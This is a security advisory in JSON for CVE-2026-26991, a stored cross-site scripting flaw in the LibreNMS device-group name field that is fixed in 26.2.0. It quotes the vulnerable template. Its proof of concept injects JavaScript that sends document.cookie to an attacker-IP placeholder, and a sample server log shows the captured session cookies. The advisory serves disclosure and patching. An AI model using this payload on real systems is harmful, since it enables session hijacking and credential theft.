CVE-2026-26991: Librenms/librenms Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5pqf-54qp-32wx",
  "modified" : "2026-02-20T16:51:51Z",
  "published" : "2026-02-18T22:07:19Z",
  "aliases" : [ "CVE-2026-26991" ],
  "summary" : "LibreNMS /device-groups name Stored Cross-Site Scripting",
  "details" : "### Summary\n**/device-groups name Stored Cross-Site Scripting**\n- HTTP POST\n- Request-URI(s): \"/device-groups\"\n- Vulnerable parameter(s): \"name\"\n- Attacker must be authenticated with \"admin\" privileges.\n- When a user adds a device group, an HTTP POST request is sent to the Request-URI \"/device-groups\". The name of the newly created device group is stored in the value of the name parameter.\n- After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete.\n\n### Details\nThe vulnerability exists as the name of the device group is not sanitized of HTML/JavaScript-related characters\nor strings. When the delete button is rendered, the following template is used to render the page:\n\n_resources/views/device-group/index.blade.php:_\n```\n@section('title', __('Device Groups'))\n@section('content')\n<div class=\"container-fluid\">\n<x-panel id=\"manage-device-groups-panel\">\n// [...Truncated...]\n@foreach($device_groups as $device_group)\n// [...Truncated...]\n\n<button type=\"button\" class=\"btn btn-danger btn-\nsm\" title=\"{{ __('delete Device Group') }}\" aria-label=\"{{ __('Delete') }}\"\nonclick=\"delete_dg(this, '{{$device_group->name }}', '{{ route('device-groups.destroy', $device_group->id)\n}}')\"> // using the device's name in the Delete button functionality without\nsanitizing for XSS related characters/strings\n```\n\nAs the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored\ncross-site scripting.\n\n### PoC\n- Login\n- Select Devices > Manage Groups\n- Select New Device Group\n- Input 12345');var pt=new Image();pt.src='http://<ATTACKER_IP>/cookie-\n- '.concat(document.cookie);document.body.appendChild(pt);delete_dg(this, '12345 into\n- the \"Name\" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver)\n- Select \"access_points.accesspoint_id\" as the Conditional input\n- Input 1 into the Conditional value input box\n- Select Save\n- Select the Delete Icon for the newly created Device Group\n- Select OK\n- The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled\n- server, leaking the user's cookies.\n\n### Impact\nAttacker Controlled server's logs:\n```\n192.168.1.96 - - [10/Feb/2026:13:32:25 -0600] \"GET /cookie-\njqCookieJar_options=%7B%7D;%20SWIFT_cookieconsent=dismiss;%20CookieAuth=%5B%22emai\n\nl%40email.c.com%22%2C%22%242y%2410%24zI.%5C%2F5BHghPssddSOjH6.Eek%5C%2F0hQNm8DewYh\n\nLnQxXHlpw3abw4C74y%22%5D;%20XSRF-\nTOKEN=eyJpdiI6InkrSlpHNFZ3TjRXbXl5clQ2ZVBHOFE9PSIsInZhbHVlIjoiZTROUHRCcGhYRGU4dVJL\n\nZ2RUUTZ5VXlGZElMNjZoT0E2cGRNZzVDRmtVWTg5YTBGNzdpTU83YU1EZ3E3Tk1BTm5tNjYxTExUV1Z0Mj\nBLNUlqOVl4MlpGL21xdHh3MUJwYm1zT1RaQXJwR0w5YmVXTkdKQWNXUkNvL1J2SzVtcWMiLCJtYWMiOiI0\nZTc4YjVmMjhiYjc3YTA2MDI5NjJkOTgzMTJlYmVkNGVhOTg0ZjE4ZjRlMzY1NmFlMjNiNmUyNzhlN2QwOG\nI4IiwidGFnIjoiIn0%3D HTTP/1.1\" 404 492 \"http://192.168.1.121/\" \"Mozilla/5.0\n(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)\nChrome/144.0.0.0 Safari/537.36\"\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "librenms/librenms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "26.2.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/security/advisories/GHSA-5pqf-54qp-32wx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-26991"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/pull/19041"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/commit/64b31da444369213eb4559ec1c304ebfaa0ba12c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/librenms/librenms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/releases/tag/26.2.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-18T22:07:19Z",
    "nvd_published_at" : "2026-02-20T03:15:59Z"
  }
}